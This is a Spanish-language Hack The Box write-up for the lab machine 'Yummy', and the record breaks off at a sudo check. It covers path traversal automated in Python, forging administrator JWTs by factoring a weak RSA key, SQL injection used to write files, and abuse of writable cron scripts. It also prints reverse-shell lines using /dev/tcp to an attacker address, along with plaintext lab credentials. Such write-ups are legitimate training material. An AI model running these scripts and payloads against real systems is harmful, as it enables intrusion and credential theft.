Table of Contents
Hack The Box: Yummy Writeup
Welcome to my detailed writeup of the hard difficulty machine “Yummy” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.29.218 --ulimit 5000 -g
210.129.29.218 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.29.218 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 14:35 CEST
3Nmap scan report for 10.129.29.218
4Host is up (0.047s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
10|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
1180/tcp open http Caddy httpd
12|_http-server-header: Caddy
13|_http-title: Did not follow redirect to http://yummy.htb/
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 11.16 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.29.218 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 14:35 CEST
3Nmap scan report for 10.129.29.218
4Host is up (0.057s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
719695/udp closed unknown
821358/udp closed unknown
922215/udp closed unknown
1025366/udp closed unknown
1125514/udp closed unknown
1238412/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Del escaneo inicial detectamos varias cosas que me llama la atención.
La primera es que no se está utilizando un apache2
o nginx
de webserver, si no caddy
, algo no muy común.
Y la segunda es el dominio yummy.htb
, lo añadimos al /etc/hosts
HTTP Enumeration
Como no hay mas puntos de entradas, vamos a enumerar el servicio HTTP.
whatweb
no nos reporta nada interesante.
1$ whatweb http://yummy.htb
2http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.129.29.218], Lightbox, Script, Title[Yummy]
El sitio web se ve así.
Vemos un formulario que en principio es funcional y se dirige a /book
por POST
Podemos crearnos una cuenta.
Accedemos a un panel de usuario.
Ahora podemos hacer una reserva con el correo electrónico de nuestra cuenta.
Y lo vemos reflejado en nuestro panel de usuario.
También encontramos algunos posibles usuarios, así que vamos a hacer una pequeña lista de usuarios con los nombres.
1$ cat users.txt
2w.white
3s.jhonson
4w.anderson
5walterwhite
6walter
7wwhite
8sarahjhonson
9sjhonson
10sarah
11wanderson
12williamanderson
13william
Descargando una reserva.
Y viendo los metadatos con exiftool
1$ exiftool Yummy_reservation_20241007_105132.ics
2ExifTool Version Number : 12.57
3File Name : Yummy_reservation_20241007_105132.ics
4Directory : .
5File Size : 278 bytes
6File Modification Date/Time : 2024:10:07 14:51:31+02:00
7File Access Date/Time : 2024:10:07 14:51:31+02:00
8File Inode Change Date/Time : 2024:10:07 14:51:38+02:00
9File Permissions : -rw-r--r--
10File Type : ICS
11File Type Extension : ics
12MIME Type : text/calendar
13VCalendar Version : 2.0
14Software : ics.py - http://git.io/lLljaA
15Description : Email: pointed@pointed.com.Number of People: 4.Message: testtest
16Date Time Start : 2024:10:07 00:00:00Z
17Summary : test
18UID : e5af8be6-05e7-443f-ac7a-69cc9ada2e8a@e5af.org
Sabemos que este archivo iCalendar se ha generado utilizando ics-py
.
https://github.com/ics-py/ics-py
Local File Inclusion / Directory Path Traversal
Interceptando las peticiones de como se descarga el archivo ics, vemos lo siguiente.
Primero se hace un GET a /reminder/ID
utilizando la cookie de autenticación del usuario.
Si interceptamos la respuesta vemos que el servidor nos establece una cookie de sesión temporal para esta solicitud y nos redirecciona a /export/ARCHIVO
Ahora si cambiamos la ruta del archivo a descargar, y establecemos por ejemplo el /etc/passwd
Podemos interceptar la respuesta a esta petición y vemos que se acontece el Directory Path Traversal.
Script It!
Lo malo es que solo se puede acontecer el LFI una vez ya que el servidor espera recibir una cookie de sesión única por petición de descarga, así que vamos a hacer un pequeño script en Python para automatizar el LFI.
1#!/usr/bin/python3
2import requests
3
4URL = "http://yummy.htb"
5X_AUTH_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20iLCJyb2xlIjoiY3VzdG9tZXJfZTA5ZmM2ZjMiLCJpYXQiOjE3MjgyOTc2MjYsImV4cCI6MTcyODMwMTIyNiwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI3MTc2NTY1ODUyMzQzNjU2NDEwNDYzMzAyNTM2MjkwMjA4ODY3OTA0ODU0NzY3MjY0OTk1MzY5NTQwOTc0NTE4MDU2NDA0MzYzNjk1MzE5MzE2MTIyMzE1Nzg2MDA0MTA4MzUwODkxNzM1MTg1NzE0NDY4NTY2NTkwNzA1MTY0NDM4MDY3OTE2OTg4MDI3MzMzNDgzNjYzMjI4MDk5ODgyMzgwNTcxMzQ5NTUyODk5NjY2OTE1ODY3MjI5NTg2NDgxNDk4MDk4NTA1MDU1OTMwNzAxNzYxNjk1OTQ1MjM5Nzg0NjM5Nzk3MTI1MjM4MDI4MDY2Nzg5OTcwNDM1ODEwNjQxNTMxNDY5NTUwMjE5MDAzMTc3ODExMTg2NjM0MTU0NTgyMDY3MjUxOTY3NDU0MTgyOTM4MjE4MSIsImUiOjY1NTM3fX0.Ax0lxOe3nzqjf_K32oeg7KGj2_wXTS3fX-9OchlK9FhN6uHT3wh8N3NdiXixbea8rKxsS0lt1jWazaLU0XQFDCKSs1uQ2cg3LrpcS0MbTgwa03D6ZWH7QTw4jWd387GRfKQuUNQ2ihbfn7ZDTl7EjS5ZSE4eVSb3oXq4ryLsJdzDovM"
6REMINDER_ID = 21
7
8burp={
9 "http":"http://localhost:8080",
10 "https":"http://localhost:8080"
11}
12
13def get_reminder_session():
14 cookies={
15 "X-AUTH-Token": X_AUTH_TOKEN
16 }
17 r = requests.get(URL+"/reminder/"+str(REMINDER_ID),cookies=cookies, allow_redirects=False, proxies=burp)
18 session_cookie = r.cookies.get("session")
19 if not session_cookie:
20 print("[+] Session cookie not found, check the reservation ID or AUTH TOKEN")
21 exit(1)
22 return session_cookie
23
24def lfi(file):
25 session_cookie = get_reminder_session()
26 cookies = {
27 "X-AUTH-Token": X_AUTH_TOKEN,
28 "session": session_cookie
29 }
30 url = URL+"/export/"+file
31 s = requests.Session()
32 req = requests.Request(method='GET', url=url,cookies=cookies)
33 prep = req.prepare()
34 prep.url = url
35 r = s.send(prep,verify=False)
36 print(r.text)
37
38if __name__ == "__main__":
39 while True:
40 file = input("File: ")
41 lfi(file)
Output de ejemplo.
1$ python3 lfi.py
2File: ../../../../../../etc/passwd
3root:x:0:0:root:/root:/bin/bash
4daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5bin:x:2:2:bin:/bin:/usr/sbin/nologin
6sys:x:3:3:sys:/dev:/usr/sbin/nologin
7sync:x:4:65534:sync:/bin:/bin/sync
8games:x:5:60:games:/usr/games:/usr/sbin/nologin
9man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18...
Viendo el /etc/passwd
detectamos dos usuarios, dev
y qa
Como se está utilizando un servidor web Caddy, busqué donde se almacena el archivo de configuración pero no encontré nada interesante, simplemente hace de reverse proxy.
1File: ../../../../../../etc/caddy/Caddyfile
2:80 {
3 @ip {
4 header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
5 }
6 redir @ip http://yummy.htb{uri}
7 reverse_proxy 127.0.0.1:3000 {
8 header_down -Server
9 }
10}
En el archivo /etc/crontab
encontramos varias tareas las cuales refieren a scripts personalizados.
1File: ../../../../../../etc/crontab
2# /etc/crontab: system-wide crontab
3# Unlike any other crontab you don't have to run the `crontab'
4# command to install the new version when you edit this file
5# and files in /etc/cron.d. These files also have username fields,
6# that none of the other crontabs do.
7
8SHELL=/bin/sh
9# You can also override PATH, but by default, newer versions inherit it from the environment
10#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
11
12# Example of job definition:
13# .---------------- minute (0 - 59)
14# | .------------- hour (0 - 23)
15# | | .---------- day of month (1 - 31)
16# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
17# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
18# | | | | |
19# * * * * * user-name command to be executed
2017 * * * * root cd / && run-parts --report /etc/cron.hourly
2125 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
2247 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
2352 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
24#
25*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
26*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
27* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
app_backup.sh
1File: ../../../../../../../data/scripts/app_backup.sh
2#!/bin/bash
3
4cd /var/www
5/usr/bin/rm backupapp.zip
6/usr/bin/zip -r backupapp.zip /opt/app
table_cleanup.sh
1File: ../../../../../../../data/scripts/table_cleanup.sh
2#!/bin/sh
3
4/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
dbmonitor.sh
1File: ../../../../../../../data/scripts/dbmonitor.sh 15:38:00 [0/1250]
2#!/bin/bash
3
4timestamp=$(/usr/bin/date)
5service=mysql
6response=$(/usr/bin/systemctl is-active mysql)
7
8if [ "$response" != 'active' ]; then
9 /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
10 /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
11 latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
12 /bin/bash "$latest_version"
13else
14 if [ -f /data/scripts/dbstatus.json ]; then
15 if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
16 /usr/bin/echo "The database was down at $timestamp. Sending notification."
17 /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
18 /usr/bin/rm -f /data/scripts/dbstatus.json
19 else
20 /usr/bin/rm -f /data/scripts/dbstatus.json
21 /usr/bin/echo "The automation failed in some way, attempting to fix it."
22 latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
23 /bin/bash "$latest_version"
24 fi
25 else
26 /usr/bin/echo "Response is OK."
27 fi
28fi
29
30[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
Encontramos unas credenciales para acceder a la base de datos, 3wDo7gSRZIwIHRxZ!
Pero no son válidas ni para dev
ni para qa
para acceder por SSH.
Revisando el script SQL no encontramos nada, así que vamos a intentar descargar el archivo ZIP.
Exploring Application Backup
Vamos a repetir el proceso del LFI para descargarnos el ZIP desde el navegador.
Es un archivo que pesa 6.5MB.
1$ ls -la --human-readable backupapp.zip
2-rw-r--r-- 1 pointedsec pointedsec 6,5M oct 7 15:46 backupapp.zip
Y parece que tenemos una aplicación hecha en Flask.
1$ ls
2app.py config middleware __pycache__ static templates
Vemos las mismas credenciales que hemos visto antes.
Vemos una ruta /admindashboard
que hace uso de una función validate_login()
para comprobar si nuestro usuario es administrador.
La función validate_login()
es la siguiente.
1def validate_login():
2 try:
3 (email, current_role), status_code = verify_token()
4 if email and status_code == 200 and current_role == "administrator":
5 return current_role
6 elif email and status_code == 200:
7 return email
8 else:
9 raise Exception("Invalid token")
10 except Exception as e:
11 return None
Lo que hace es verificar nuestro token JWT y ver si tenemos el rol de administrator
Nosotros no tenemos ese rol, obviamente.
Obtaining administrator
role -> RSA Key Exposure
Para poder modificar este JWT y generar nuestro propio JWT hay que entender como funcionan los token JWT.
Estos tokens son ampliamente utilizados en aplicaciones web para autenticación, autorización y transmisión de información de manera segura.
Estructura de un JWT
Un JWT está compuesto por tres partes separadas por puntos (.
):
- Header (Encabezado)
- Payload (Carga útil)
- Signature (Firma)
1. Header (Encabezado)
El encabezado típicamente consta de dos partes:
- “alg” (algoritmo): Indica el algoritmo de firma que se está utilizando, como
HS256
(HMAC con SHA-256) oRS256
(RSA con SHA-256). - “typ” (tipo): Generalmente es
"JWT"
.
Ejemplo:
1{ "alg": "HS256", "typ": "JWT" }
Este JSON se codifica en Base64Url para formar la primera parte del token.
2. Payload (Carga útil)
El payload contiene las reclamaciones (claims), que son declaraciones sobre una entidad (generalmente, el usuario) y metadatos adicionales. Hay tres tipos de reclamaciones:
- Reclamaciones registradas: Son un conjunto de reclamaciones predefinidas que no son obligatorias pero recomendadas, como
iss
(emisor),exp
(expiración),sub
(sujeto),aud
(audiencia), etc. - Reclamaciones públicas: Reclamaciones definidas de manera pública para evitar colisiones de nombres.
- Reclamaciones privadas: Reclamaciones personalizadas acordadas entre las partes que usan el JWT.
Este JSON también se codifica en Base64Url para formar la segunda parte del token.
3. Signature (Firma)
Para crear la firma, se toma el encabezado codificado, el payload codificado, se les concatena con un punto (.
) y se firma usando el algoritmo especificado en el encabezado junto con una clave secreta o clave privada.
Ahora, hay que entender en que punto estamos.
El payload del token incluye el rol del usuario (role
) y la clave pública (n
y e
) del par RSA.
Aprovechar la clave RSA:
- El script
signature.py
genera una clave RSA, pero es importante entender si el mismo par de claves se utiliza en producción o si tienes acceso a ellas para manipular el token. - Si el par de claves generadas por el script es el mismo que se utiliza en el servidor, puedes modificar el rol en el JWT y firmarlo de nuevo con la clave privada.
Suponiendo que se utiliza el mismo par de claves generadas, podemos aprovechar que tenemos el valor de n
y de e
para generar la clave privada utilizada para nuestro token JWT, y de esta forma modificar el token y volverlo a firmar con la clave privada lo que haría que sea un token JWT válido para el servidor.
Después de un buen rato utilizando ChatGPT y un par de pistas…
1import base64
2import json
3import jwt
4from Crypto.PublicKey import RSA
5from cryptography.hazmat.backends import default_backend
6from cryptography.hazmat.primitives import serialization
7import sympy
8from datetime import datetime, timedelta, timezone
9
10# Tu token original
11token = "" # Reemplaza con tu token real
12
13def add_padding(b64_str):
14 while len(b64_str) % 4 != 0:
15 b64_str += '='
16 return b64_str
17
18def base64url_decode(input_str):
19 input_str = add_padding(input_str)
20 input_str = input_str.replace('-', '+').replace('_', '/')
21 return base64.b64decode(input_str)
22
23# Decodificar el payload del token
24payload_encoded = token.split(".")[1]
25decoded_payload = json.loads(base64url_decode(payload_encoded).decode())
26
27# Extraer 'n' de JWK y factorizar para obtener 'p' y 'q'
28n = int(decoded_payload["jwk"]['n'])
29p, q = list(sympy.factorint(n).keys())
30e = 65537
31phi_n = (p - 1) * (q - 1)
32d = pow(e, -1, phi_n)
33key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
34
35# Construcción de la clave RSA usando PyCryptodome
36key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
37private_key_bytes = key.export_key()
38
39# Cargar la clave privada usando cryptography
40private_key = serialization.load_pem_private_key(
41 private_key_bytes,
42 password=None,
43 backend=default_backend()
44)
45public_key = private_key.public_key()
46
47# Decodificar el token original sin verificar la firma ni la expiración
48try:
49 original_data = jwt.decode(
50 token,
51 public_key,
52 algorithms=["RS256"],
53 options={"verify_signature": False, "verify_exp": False}
54 )
55except jwt.ExpiredSignatureError:
56 # Aunque hemos desactivado la verificación de expiración, es bueno manejar posibles excepciones
57 original_data = jwt.decode(
58 token,
59 public_key,
60 algorithms=["RS256"],
61 options={"verify_signature": False, "verify_exp": False}
62 )
63
64# Modificar el rol a "administrator"
65original_data["role"] = "administrator"
66
67# Actualizar 'iat' y 'exp'
68original_data["iat"] = datetime.now(timezone.utc)
69original_data["exp"] = datetime.now(timezone.utc) + timedelta(hours=1) # Token válido por 1 hora
70
71# Opcional: Actualizar 'jwk' si es necesario
72original_data["jwk"] = {
73 'kty': 'RSA',
74 'n': str(key_data['n']),
75 'e': str(key_data['e'])
76}
77
78# Serializar la clave privada en formato PEM
79private_key_pem = private_key.private_bytes(
80 encoding=serialization.Encoding.PEM,
81 format=serialization.PrivateFormat.TraditionalOpenSSL,
82 encryption_algorithm=serialization.NoEncryption()
83)
84
85# Generar el nuevo token JWT con el rol modificado
86new_token = jwt.encode(original_data, private_key_pem, algorithm="RS256")
87print("Nuevo JWT con rol administrador:", new_token)
88
89# Verificar el nuevo token (opcional)
90decoded_new_token = jwt.decode(new_token, public_key, algorithms=["RS256"])
91print("Contenido del nuevo JWT:", decoded_new_token)
Ahora si intentamos acceder al panel administrativo con un token que no es válido, vemos que se nos redirecciona a /login
Si iniciamos sesión y copiamos nuestro token al script.
Y ejecutamos el script, vemos que nos devuelve otro token distinto.
1$ python3 gentoken.py
2Nuevo JWT con rol administrador: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODMwNDM4OSwiZXhwIjoxNzI4MzA3OTg5LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjcxNzY1NjU4NTIzNDM2NTY0MTA0NjMzMDI1MzYyOTAyMDg4Njc5MDQ4NTQ3NjcyNjQ5OTUzNjk1NDA5NzQ1MTgwNTY0MDQzNjM2OTUzMTkzMTYxMjIzMTU3ODYwMDQxMDgzNTA4OTE3MzUxODU3MTQ0Njg1NjY1OTA3MDUxNjQ0MzgwNjc5MTY5ODgwMjczMzM0ODM2NjMyMjgwOTk4ODIzODA1NzEzNDk1NTI4OTk2NjY5MTU4NjcyMjk1ODY0ODE0OTgwOTg1MDUwNTU5MzA3MDE3NjE2OTU5NDUyMzk3ODQ2Mzk3OTcxMjUyMzgwMjgwNjY3ODk5NzA0MzU4MTA2NDE1MzE0Njk1NTAyMTkwMDMxNzc4MTExODY2MzQxNTQ1ODIwNjcyNTE5Njc0NTQxODI5MzgyMTgxIiwiZSI6IjY1NTM3In19.BBNhJ_EQR1jXteQFpHvGEZQGP7Gqss7_GeYOnLKaU5XCESPANcNsnFrTRMs3mOzb432lP5Q_l_sJoOLZ0eE25EVSXK_iU02-yMviiK-REzmvVc4j0xHsmXX1mdaDCn9AoXn-5TKJzirvzm2ykNYqM27beHtS6BYXvQNrItlBl0VM0hg
3Contenido del nuevo JWT: {'email': 'pointed@pointed.com', 'role': 'administrator', 'iat': 1728304389, 'exp': 1728307989, 'jwk': {'kty': 'RSA', 'n': '71765658523436564104633025362902088679048547672649953695409745180564043636953193161223157860041083508917351857144685665907051644380679169880273334836632280998823805713495528996669158672295864814980985050559307017616959452397846397971252380280667899704358106415314695502190031778111866341545820672519674541829382181', 'e': '65537'}}
Este token ha hecho todo el proceso mencionado anteriormente, por lo cual supuestamente es un token JWT válido firmado por la clave privada que está utilizando el servidor pero con el rol de administrator
En jwt.io lo podemos comprobar también.
Ahora si utilizamos este token para acceder al panel administrativo, nos devuelve un 200 OK.
IMPORTANTE
Estuve un rato volviendome loco pensando en porque no funcionaba la firma del nuevo token JWT si lógicamente todo estaba bien, hasta que me di cuenta de que la hora de mi sistema y la de la máquina víctima no estaban sincronizadas, y estas deben de estarlo para poder crear el token válido por los valores iat
y exp
Para ello podemos utilizar el one-liner que nos recomienda el repositorio de htpdate
1sudo date -s "`curl --head -s http://yummy.htb | grep -i "Date: " | cut -d' ' -f2-`"
Y ahora generando otra vez el JWT en principio debería de ser válido.
Y ya modificando la cookie X-AUTH-Token
por la generada, podemos acceder por el navegador al panel administrativo mas cómodamente.
Abusing FILE privilege -> Foothold
En este punto no se bien que hacer ya que me he ido dejando llevar por la intuición, así que vamos a revisar otra vez el código para ver que funciones tiene el panel administrativo.
Revisando el código parece que se acontece una Inyección SQL mediante el parámetro o
ya que de ninguna manera está sanitizado el input del usuario.
1search_query = request.args.get('s', '')
2
3 # added option to order the reservations
4 order_query = request.args.get('o', '')
5
6 sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
7 cursor.execute(sql, ('%' + search_query + '%',))
Vemos en el código que se utiliza cursor.execute
y de forma interna se sanitiza el input del parámetro s
pero nunca se sanitiza el input del parámetro o
Vamos a confirmar la inyección utilizando sqlmap
La consulta por detrás se ve mas o menos así
1SELECT * FROM appointments WHERE appointment_email LIKE '%loquesea%' order by appointment_date ASC
Por lo cual tiene sentido que si s
está vacío, se nos devuelva todos los valores, ya que la consulta sería LIKE '%%'
Pero a través del parámetro o
podemos modificar el valor del order by
y podríamos hacer algo así (por ejemplo).
1SELECT * FROM appointments WHERE appointment_email LIKE '%loquesea%' order by appointment_date ASC; select * from users;
Vemos que podemos ver los errores MySQL.
Si hacemos un select "prueba" into outfile '/tmp/prueba.txt'
parece que no pasa nada, esto es buena señal.
Si lo intentamos hacer otra vez nos dice que este archivo ya existe.
A través del LFI por alguna razón no puedo leer el archivo.
Esto significa que el usuario que está ejecutando las consultas SQL por detrás tiene el nodo FILE
activado, por lo cual tiene permisos para escribir archivos.
Abusing dbmonitor.sh
script
Analizando este script, podemos ver una parte interesante.
1if [ -f /data/scripts/dbstatus.json ]; then
2 if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
3 /usr/bin/echo "The database was down at $timestamp. Sending notification."
4 /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
5 /usr/bin/rm -f /data/scripts/dbstatus.json
6 else
7 /usr/bin/rm -f /data/scripts/dbstatus.json
8 /usr/bin/echo "The automation failed in some way, attempting to fix it."
9 latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
10 /bin/bash "$latest_version"
11 fi
12 else
13 /usr/bin/echo "Response is OK."
14 fi
Si el archivo /data/scripts/dbstatus.json
existe, y no contiene la cadena database is down
se elimina el archivo dbstatus.json
y hace una cosa de la cual nos podemos aprovechar.
Ejecuta a nivel de sistema este comando.
1/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1
Y luego el resultado, lo ejecuta por bash.
Por lo cual podríamos crear nosotros un archivo dbstatus.json
con lo que sea para que cuando este script se ejecute salte directamente a la parte de código vulnerable que nos interesa.
Y también antes de eso, podemos crear un archivo /data/scripts/fixer-v_____
para que ordenado, salga como primer resultado y se ejecute a nivel de sistema, en este archivo podemos incluir una revshell.
Entonces, creamos nuestro archivo rev.sh
1$ cat rev.sh
2#!/bin/bash
3
4bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"
Lo servimos por el puerto 8081.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Creamos el archivo el cual vamos a utilizar para mandarnos la revshell, simplemente esto ejecutará a nivel de sistema una petición para conseguir nuestro archivo de rev.sh
y lo ejecutará a nivel de sistema.
Ahora creamos el archivo dbstatus.json
con lo que sea.
Nos ponemos en escucha con pwncat-cs
por el puerto 443.
1$ sudo pwncat-cs -lp 443
Y esperando un poco ganamos acceso al sistema como el usuario mysql
1$ sudo pwncat-cs -lp 443
2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3 'class': algorithms.Blowfish,
4[15:24:21] Welcome to pwncat 🐈! __main__.py:164
5[15:26:00] received connection from 10.129.29.218:57498 bind.py:84
6[15:26:02] 10.129.29.218:57498: registered new host w/ db manager.py:957
7(local) pwncat$
8(remote) mysql@yummy:/var/spool/cron$ id
9uid=110(mysql) gid=110(mysql) groups=110(mysql)
10(remote) mysql@yummy:/var/spool/cron$
Abusing CRON -> User Pivoting 1
Me interesa escalar privilegios a www-data
para ver si tenemos algún privilegio adicional y sobre todo porque no podemos acceder a los archivos en `/var/www/qatesting.
1(remote) mysql@yummy:/var/www$ cd app-qatesting/
2bash: cd: app-qatesting/: Permission denied
Viendo los permisos del directorio /data/scripts
1(remote) mysql@yummy:/data/scripts$ ls -la
2total 36
3drwxrwxrwx 2 root root 4096 Oct 7 13:26 .
4drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
5-rw-r--r-- 1 root root 90 Sep 26 15:31 app_backup.sh
6-rw-r--r-- 1 root root 1336 Sep 26 15:31 dbmonitor.sh
7-rw-r----- 1 mysql mysql 33 Oct 7 13:25 fixer-v___
8-rw-r----- 1 root root 60 Oct 7 13:25 fixer-v1.0.1.sh
9-rw-r--r-- 1 root root 5570 Sep 26 15:31 sqlappointments.sql
10-rw-r--r-- 1 root root 114 Sep 26 15:31 table_cleanup.sh
Vemos que tenemos permisos de escritura en este directorio, por lo cual no podemos modificar por ejemplo app_backup.sh
ya que no tenemos permisos para ello, pero podemos renombrarlo y crear nuestro propio app_backup.sh
que se ejecutará como el usuario www-data
cuando se ejecute la tarea CRON.
1(remote) mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.sh.old
2(remote) mysql@yummy:/data/scripts$ nano app_backup.sh
3Unable to create directory /nonexistent/.local/share/nano/: No such file or directory
4It is required for saving/loading search history or cursor positions.
5
6(remote) mysql@yummy:/data/scripts$ cat app_backup.sh
7#!/bin/bash
8
9bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"
Este proceso hay que hacerlo muy rápido, pero si anteriormente estábamos en escucha con pwncat-cs
por el puerto 443.
1$ sudo pwncat-cs -lp 443
2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3 'class': algorithms.Blowfish,
4[15:29:55] Welcome to pwncat 🐈! __main__.py:164
5[15:32:59] received connection from 10.129.29.218:46104 bind.py:84
6[15:33:01] 10.129.29.218:46104: registered new host w/ db manager.py:957
7(local) pwncat$
8(remote) www-data@yummy:/root$ id
9uid=33(www-data) gid=33(www-data) groups=33(www-data)
Information Disclosure via Mercurial .hg
directory -> User Pivoting 2
Ahora ya podemos acceder al directorio /var/www/app-qatesting
1(remote) www-data@yummy:/var/www/app-qatesting$ ls -la
2total 40
3drwxrwx--- 7 www-data qa 4096 May 28 14:41 .
4drwxr-xr-x 3 www-data www-data 4096 Oct 7 13:34 ..
5-rw-rw-r-- 1 qa qa 10852 May 28 14:37 app.py
6drwxr-xr-x 3 qa qa 4096 May 28 14:26 config
7drwxrwxr-x 6 qa qa 4096 May 28 14:37 .hg
8drwxr-xr-x 3 qa qa 4096 May 28 14:26 middleware
9drwxr-xr-x 6 qa qa 4096 May 28 14:26 static
10drwxr-xr-x 2 qa qa 4096 May 28 14:26 templates
Vemos un directorio oculto llamado .hg
, esto corresponde a un servicio de control de versiones como Git
llamado Mercurial
, al igual que Git
crea un directorio .git
, Mercurial
crea un directorio .hg
Podemos ejecutar un find .
y vemos que hay muchos archivos.
Utilizando un bucle, podemos recorrer todos estos archivos y filtrar por algunas palabras interesantes y encontramos algo muy interesante.
1(remote) www-data@yummy:/var/www/app-qatesting/.hg$ for file in $(find . -type f); do strings $file | grep -e "pass" -e "pwd" -e "user"; done
2strings: ./wcache/checkisexec: Permission denied
39 'user': 'chef',
4 'password': '3wDo7gSRZIwIHRxZ!',
56 'user': 'qa',
6 'password': 'jPAd!XQCtn8Oc@2B',
7?$pwd
8You have new mail in /var/mail/www-data
La credencial de chef
no es válida.
1$ sshpass -p '3wDo7gSRZIwIHRxZ!' ssh chef@yummy.htb
2Permission denied, please try again.
Pero la credencial de qa
si que lo es.
1$ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh qa@yummy.htb
2Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/pro
7
8 System information as of Mon Oct 7 01:37:55 PM UTC 2024
9
10 System load: 0.16 Processes: 266
11 Usage of /: 62.1% of 5.56GB Users logged in: 0
12 Memory usage: 21% IPv4 address for eth0: 10.129.29.218
13 Swap usage: 0%
14
15
16Expanded Security Maintenance for Applications is not enabled.
17
1810 updates can be applied immediately.
1910 of these updates are standard security updates.
20To see these additional updates run: apt list --upgradable
21
22Enable ESM Apps to receive additional future security updates.
23See https://ubuntu.com/esm or run: sudo pro status
24
25
26The list of available updates is more than a week old.
27To check for new updates run: sudo apt update
28Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
29
30
31Last login: Mon Oct 7 13:37:56 2024 from 10.10.16.9
32qa@yummy:~$
Y podemos leer la flag de usuario.
1qa@yummy:~$ cat user.txt
26d26bb0e677eed...
Abusing hgrc
hooks -> User Pivoting 3
Vemos que qa
puede ejecutar como el usuario dev
el comando /usr/bin/hg pull /home/dev/app-production
1qa@yummy:~$ sudo -l
2[sudo] password for qa:
